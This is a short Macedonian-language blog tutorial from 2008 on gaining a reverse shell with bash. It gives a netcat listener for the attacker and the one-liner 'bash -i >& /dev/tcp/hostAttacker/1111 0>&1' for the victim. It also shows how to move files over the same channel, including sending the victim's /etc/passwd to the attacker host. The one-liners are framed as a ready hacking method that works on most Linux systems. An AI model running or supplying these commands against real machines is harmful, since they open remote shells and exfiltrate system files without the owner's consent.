IT.com.mk на Twitter IT.com.mk на Facebook IT.com.mk на Flickr IT.com.mk RSS канали
Почетна arrow Стефан Петрушевски arrow Софтвер arrow Reverse shell во bash
 
 
Uid=0
Софтвер, Интернет, Програмирање, Сигурност и заштита
RSS Канал  
Е-пошта  
Биографија  
 
 
Стефан Петрушевски
 
Reverse shell во bash Испечати Е-пошта
Автор: Стефан Петрушевски   
Објавено на: 07.07.2008
Во хакирањето добивање контрола врз shell-от на метата, а со тоа и (скоро) комплетен пристап до сите информации кои ги барате отсекогаш било “најсветото“ нешто при секој напад. Едно од сценаријата е и искористување на некој баг при што не се добива целосно фунционален shell пристап или пак при пишување на експлоит потребно е напаѓачот да може да добие контрола над системот. За среќен крај во приказните потребно е да се “врати“ shell и напаѓачот да го добие пристапот кој го сака/бара. За истото постојат повеќе начини, нормално, посложени и поедноставни.

Во овој постот тоа ќе го сторам “во духот“ на текстот кој го напишав за користење на netcat.

Connect-back shell на повеќето Линукс системи може да го добиете користејќи единствено bash скрипта од една линија. Ова значи дека методот ќе може да го користите и истиот ќе биде успешен во 90%+ случаеви бидејќи се што користите се веќе вградени работи. Значи не треба ништо посебно да преземате, да компaјлирате, да средувате или други чуда.

На компјутерот на напаѓачот (hostAttacker) со netcat се закачуваме на некој порт:
nc -l -v -p 1111

А на жртвата извршуваме:
$ bash -i >& /dev/tcp/hostAttacker/1111 0>&1

Да, толку е. Симпатично нели?

Исто може да го користите овој метод и да префрлите некој фајл на компјутерот жртва. Слично како и само ако користите netcat:
На напаѓачот (hostAttacker):
cat fajl.txt | nc -l -v -p 1111

А на жртвата:
bash -i >& /dev/tcp/hostAttacker/1111 0>&1 > fajl.txt

Или обратно (префрлување на фајл од жртвата на компјутерот на напаѓачот).
Напаѓач (hostAttacker):
nc -l -v -p 1111 > etcpasswd

Жртва:
cat /etc/passwd > /dev/tcp/hostAttacker/1111

итн.

Методот за socket програмирање во bash работи на Redhat, Suse, Mac OS X Leopard и веројатно други додека на Debian не е овозможено со дадената инсталација. За останатите незнам, надополнете ја листата преку коментарите откако ќе пробате.



Клучни зборови:  Хакирање   Софтвер   NetCat   Баг   Информации   Систем   Shell   Bash   Reverse Shell   hostAttacker   Линукс

 
Сподели:
Кајмакот
Digg
Technorati
Stumble
Reddit
YahooMyWeb
Delicious
Ma.gnolia
Facebook
Spurl
IT.com.mk форум

Робот vs. човек

Робот веќе има убиено човек. Во летото во 1981, електро инжинер поправал еден индустриски робот во Јапонија во фабрика за гуми, кога одеднаш роботот почнал да ги извршува своите функции... инжинерот, кој се нашол на неговиот пат бил зафатен од рачките на машината.
Нема настани во наредните денови.
Корисничко име

Лозинка



RSS канали на it.com.mk

Прашалник

Дали интернетoт е основно човеково право?

(122 глас/а)

  • 76.2%
  • 7.4%
  • 4.9%
  • 11.5%

Низ it.com.mk Блог Сервиси Маркетинг
Вести
Статии
Форум
Рецензии
Совети & трикови
Преземања
Настани
Барометар
Едуцентар
Препорачуваме
Сите блогови
е-Бизнис 2.0
Uid=0
Хардверманија
Компјутерска сигурност
Apple
Линукс блог
Веб-Соц Свет
Членство
Е-билтен
RSS канали
PDA верзија

Профили
Facebook профилTwitter профилIT.com.mk @ Flickr
IT.com.mk @ YouTubeLinkedIn профилFriendFeed профил
Каква музика слушаат ИТ луѓето?Препорачуваме линкови преку Delicious Главен RSS канал
Заработете со Whost.mk
Поставете линк или банер до whost.mk и заработете од секоја продажба..
http://www.whost.mk/affiliates.aspx

Aironet.mk - Безжичен Интернет
Едноставно и квалитетно решение...

Zero Science Lab
Македоснска лабораторија за истражување и развој на информациска безбедност